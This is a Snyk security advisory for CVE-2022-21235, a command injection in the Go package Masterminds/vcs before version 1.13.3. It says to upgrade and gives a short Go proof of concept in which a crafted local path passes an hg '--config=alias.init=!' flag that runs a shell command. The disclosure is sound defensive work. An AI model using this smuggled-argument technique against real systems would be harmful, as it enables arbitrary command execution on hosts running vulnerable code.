Command Injection Affecting github.com/masterminds/vcs package, versions <1.13.3


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (50th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMMASTERMINDSVCS-2437078
  • published1 Apr 2022
  • disclosed11 Mar 2022
  • creditAlessio Della Libera of Snyk Research Team

Introduced: 11 Mar 2022

CVE-2022-21235  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade github.com/Masterminds/vcs to version 1.13.3 or higher.

Overview

github.com/Masterminds/vcs is a VCS Repo management through a common interface in Go.

Affected versions of this package are vulnerable to Command Injection via argument injection. When hg is executed, argument strings are passed to hg in a way that additional flags can be set. The additional flags can be used to perform a command injection.

PoC

package main

import (
    "github.com/Masterminds/vcs"
)

func main(){
      local := "--config=alias.init=!touch ./HELLO"
    repo, _ := vcs.NewHgRepo("remote", local)
    repo.Init()
}

References

CVSS Scores

version 3.1